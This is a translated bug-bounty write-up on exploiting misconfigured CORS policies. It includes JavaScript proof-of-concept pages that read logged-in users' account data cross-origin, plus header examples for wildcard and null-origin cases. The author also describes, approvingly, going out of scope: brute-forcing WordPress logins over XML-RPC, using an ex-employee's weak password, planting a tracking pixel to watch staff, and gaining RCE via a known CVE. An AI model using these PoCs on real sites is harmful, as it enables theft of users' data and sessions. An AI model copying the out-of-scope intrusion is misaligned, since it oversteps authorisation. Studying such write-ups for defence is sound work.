原文:Broke limited scope with a chain of bugs (tips for every rider CORS)
一天早晨,有人邀请我加入一个私有的漏洞赏金计划。我在安全方面的经验大多数都是来自于这样的私有项目。一方面来说这是件好事,因为不需要急着赶在其他人之前找到最危险的漏洞;但是另一方面,这不利于个人成长。当然它肯定有所益处,但是在这种情况下成长速度很慢。给我写信的人要了我的HackerOne账户链接,我把个人资料的链接给了他,但是我其实有一些尴尬,因为我当时(5个月前)的信誉度为零。好吧,不是,其实是负数。因为我曾经联系过这个公司,告诉他们一个有关“损坏的功能性(broken functionality)”的漏洞。但在那个时候,除了HackerOne我找不到更好的联系方式了,于是我报告了这个问题,结果因为该问题与安全领域无关所以得到了负数的信誉评分,在那之后我就没再用过这个账号。从那时起,我就决定无论如何都要改变这样的境况。
我决定通过几个项目重建信心,所有的项目都是私有的,但这并不能简化我的困难,因为在此之前已经有很多在信息安全领域享有盛名的人发现了许多漏洞。
在第一个项目中,搜索漏洞的范围有限(即只允许测试特定的域名和子域名)。
这样的要求总是让我很惊讶。因为如果有人在搜索范围之外的子域名上发现了数据泄露问题,你仍然无法摆脱GDPR或者CCPA的罚款。当然,这些都是经济领域的问题,但在我看来,限制范围会带来更大的风险。
当我刚刚开始在一个主域名上寻找漏洞时,就遇到了一个有趣的惊喜。在向服务器发送了几个请求之后,我找到了一个配置得十分奇怪的CORS策略。
在包含Oringin:attacker.companyname.com
的请求发送后,我收到的响应允许*.companyname.com,而且还包含一个额外的头Access-Control-Allow-Credentials:true
。
我把这种情况称为"子域名通配符(Subdomain Wildcard)"。这种情况有些奇怪,因为子域名并不包含在漏洞搜索项目内,我决定向这个公司证明,在这种情况下,这个项目对域名的限制很奇怪。所以我开始搜索允许我执行攻击的子域名(攻击场景)。
如果我可以找到一种方式进行子域名劫持或者通过XSS实施攻击,那么从攻击者的角度看,我说的这种CORS配置可能很危险。
通过子域名劫持找到有效漏洞的方法失败了,所以我决定在子域名上挖掘XSS。这时候一个WordPress站点列表吸引了我的注意力,大多数站点已经被废弃了,因为即使最后一篇文章也发表于几年前。显而易见,这些站点的版本会受到所有最新的严重漏洞的影响。我尝试利用一些漏洞攻击了这些站点,但是并没有成功。许多人认为在WordPress上至少有最少的用户权限。在这一点上,我要感谢NordVPN项目的所有者,因为即使扫描者没有exploit示例,他们也会接受其报告。
这之后我决定直接通过XML-RPC暴力破解凭据。顺便说一句,有效的XML-RPC也是被忽视的漏洞之一。
几分钟后,我为攻击收集了一个简单的用户名密码字典,识别用户并不难。字典中包含一些关键词——公司名称、城市、公司成立年份等等类似信息。这之后我进入了其中一个WordPress站点后台,不知道为什么,这里有个用户的密码是"company name"。根据Linkedin,这个用户本人已经很久没在这家公司工作了。
我开始建立这个主域名上的漏洞利用链。接下来的几天,我继续慢慢弄清楚它的引擎版本是什么、使用了哪个主题、安装了什么插件……但是在我调查的第一天,我做了一件十分重要的事:我在这个网站上创建了一个新的空白文章,文章中嵌入了像素追踪技术(IP logger),用来记录该站点上可能的活动。这项措施后来给了我很大的帮助。
下面的代码用来攻击该主域名:
<script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { console.log('Ololo >>>', this.responseText); } }; xhttp.open("GET", "https://www.example.com/v/account/welcome/show", true); xhttp.withCredentials = true; xhttp.send(); } cors(); </script>
我把这段代码放在了一个有编辑权限的受控WordPress站点的主页面上。事实上,这是我对用户的攻击场景进行展示的最终方案。用户只需要打开mywordpress.example.com,攻击者就可以捕获到该用户的所有重要数据。这意味着用户在主域名的有效登录会话会被记录在我的子域名中,同时还有关于这个用户的所有敏感信息。
有了这些结果,你就可以编写报告并且获得HackerOne的信誉点甚至是一些报酬了。但是我认为这个受控的WordPress站点上可能还有些其他的东西值得挖掘。又花了一些时间,我找了一个PoC,拥有User权限的用户在这个服务器上可以执行命令(远程命令执行RCE)。我在做测试时使用了CVE-2019–8942 这个漏洞。
最后,通过一个配置松散的CORS策略,我可以构建一个漏洞利用链攻击用户,此外,我还在其中一个子域名上进行了RCE。我提交了这两个报告,然后等待回应。关于CORS的报告很快得到了处理,他们很快对这个漏洞进行了复现并修复。但是关于RCE的报告15天后仍然未被处理,这时我之前提到的IPLogger救了我。
几天后,我在捕获到的WordPress站点上发现了活动迹象,又过了几天,这个站点关闭了。有关CORS的报告被标注已修复,并且关闭了,但是在WordPress子域名上的RCE仍然存在。我感到很气愤,尝试通过沟通解决这个问题。在我的邮件中,我提供了一些证据,关于该公司的员工是如何进入该站点,执行了一些操作然后最终关闭站点的。第二天我没有收到任何回复,但是HackerOne告诉我两个报告都被关闭了,并且支付了报酬。当然,我很高兴这样的进展,毕竟我的主要目的就是获得一些信誉点,每个人都这么想。
此外,在现实生活中,我也遇到过一些站点对CORS进行了错误的配置,没有进行任何限制,也没有检查Referer头,而直接选择了信任。例如在另一个私有项目中,我发现了这个问题。为了遵守隐私策略,让我们称这个网站为trustcasino.com。在与这个站点进行交互的过程中,我发现了下面这个问题——如果发送带有以下头的请求:
Origin: https://www.trustcasino.com.anydomain.com
Referer: https://anydomain.com
响应会是:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.trustcasino.com.anydomain.com
Access-Control-Allow-Methods: POST, GET
由于在CORS策略中出现这样的错误,我们就可以从trustcasino.com的授权用户上接收数据。你只需要创建一个地址为https://www.trustcasino.com.anydomain.com/pidor.html的网页,引诱用户访问它。pidor.html包含以下代码:
<html> <body> <script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("GET", "https:\/\/www.trustcasino.com\/myaccount\/deposit.json", true); xhr.withCredentials = true; var body = ""; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { alert(xhr.response); } } xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html>
当用户访问这个攻击者控制的网页(trustcasino.com.anydomain.com/pidor.html)时,他在trustcasino.com上所有的用户信息都会被传输到攻击者手里。
还有另一个CORS配置错误情况,请求包含以下头:
GET /alltransactions
Host: docs.bigbank.com
Origin: null
我们会收到:
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
根据我的理解,这种情况下,攻击的PoC应该类似:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>'> </iframe>
总而言之,CORS配置错误这种情况广泛存在,像是子域名通配符(Subdomain Wildcard)、域名前通配符(Pre Domain Wildcard)、域名后通配符(Post Domain Wildcard)、Origin为空(Null Origin),都可能被攻击者利用。